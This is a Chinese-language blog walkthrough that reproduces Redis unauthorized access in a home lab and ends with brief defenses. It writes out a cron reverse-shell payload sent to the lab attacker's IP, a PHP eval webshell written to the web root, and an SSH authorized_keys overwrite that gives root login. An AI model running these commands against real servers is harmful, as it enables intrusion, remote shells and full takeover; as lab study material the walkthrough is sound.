redis未授权访问漏洞——简单记录
# 从0复现redis未授权访问漏洞
环境:centos8(ip:10.0.0.3) 安装 redis
工具:kali(10.1.1.136)
1. 介绍
Redis
REmote DIctionary Server(Redis) 是完全开源免费的,遵守BSD协议,Redis是一个由Salvatore Sanfilippo写的key-value存储系统。。
Redis 与其他它key - value 缓存产品有以下三个特点:
- Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
- Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
- Redis支持数据的备份,即master-slave模式的数据备份。
Redis因配置不当可造成未授权访问。攻击者无需通过身份认证便可访问到内部数据,造成敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
2. 环境准备
kali作为攻击端。centos作为靶机~
安装redis
(建议用centos,之前用的vulhub中的redis未授权访问镜像,后面的操作都不行。别问为什么可以,也别问为什么不行,因为我是真滴不知道呀。只是跟着复现罢了,还真不知道原理。)
kali和centos都需要安装;
配置redis远程访问
如下图设置:
- 注释掉
bind 127.0.0.1
proteced-mode
改为no
daemonize
改为no
requirepass
随便设置
这个是连接时使用的密码。注释掉了就不用输入密码验证,如果不注释,就需要密码验证;
为了方便演示,尽量一次过关,我这里将密码设置为123456
(即:去掉注释)
- 关闭centos防火墙
systemctl stop firewalld.service
,重启系统后会开启防火墙;
所以可以考虑一下禁用防火墙,systemctl disable firewalld.service
感觉基本就搞完了。
测试远程访问:
centos开启redis服务:
进入:/usr/local/redis/bin
,执行命令:./redis-server redis.conf
这个就因人而异。
至于为啥是前台启动(会显示页面),我也不知道为啥。这个环境配了从昨天配置到今天(能踩的坑都踩了一遍),能跑就已经谢天谢地了。
kali上进行连接:
或者也可以:
-p 6379
可写可不写。指定端口嘛,默认端口是6379。
前面全是搭建环境的步骤,可以跟着上述方法来试试。毕竟环境配置出问题,真的劝退。下面就是正常步骤了。
3. 漏洞复现
1. 反弹shell(复现失败)
kali:检测目标端口是否开放:nmap -A -p 6379 -script redis-info 10.0.0.3
向目标写入任务计划,反弹shell
10.0.0.3:6379> set x "\n* * * * * bash -i >& /dev/tcp/10.1.1.136/888 0>&1\n"
10.0.0.3:6379> config set dir /var/spool/cron/
10.0.0.3:6379> config set dbfilename root
10.0.0.3:6379> save
kali侦听888端口
麻了,没反弹出来。但是从centos的redis前端可以看到已经保存到了磁盘;
找了一下其他的复现博客,有一个提到了要等一段时间,这个一段时间就不知道多久了。
麻了,过了很久,那就是复现不成功了。
唔不知道是不是因为版本问题。。。
2. 写入webshell(复现成功)
假如权限不高,可以考虑写入webshell(人麻了,才装的centos没装apache,php...)
指定目录的时候,目录要存在才不会报错,否则会报错
config set dir /var/www/html 设置web目录
config set dbfilename webshell.php 设置备份文件名
set shell "<?php @eval($_POST['shell']);?>" 设置值
最好是写入:
set shell "\r\n\r\n<?php @eval($_POST['shell']);?>\r\n\r\n"
save 保存
可以看到这里已经有了webshell.php
尝试访问和执行
3. ssh-keygen公钥然后使用私钥登陆
跟着下面的步骤走就行
kali进入:/root/.ssh目录
# ssh-keygen -t rsa 啥都不写,直接回车
# (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt
# cp 1.txt /root/redis-4.0.11/src/
kali进入:/root/redis-4.0.11/src/目录下
# cat 1.txt | ./redis-cli -h 10.0.0.3 -a 123456 -x set crack
# ./redis-cli -h 10.0.0.3 -a 123456
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> save
# ssh -i id_rsa root@10.0.0.3
4.防御方法
测试远程访问的修改方法反着走;
- 设置密码
- 设置访问ip
- 开启防火墙
- 修改服务端口..等等
参考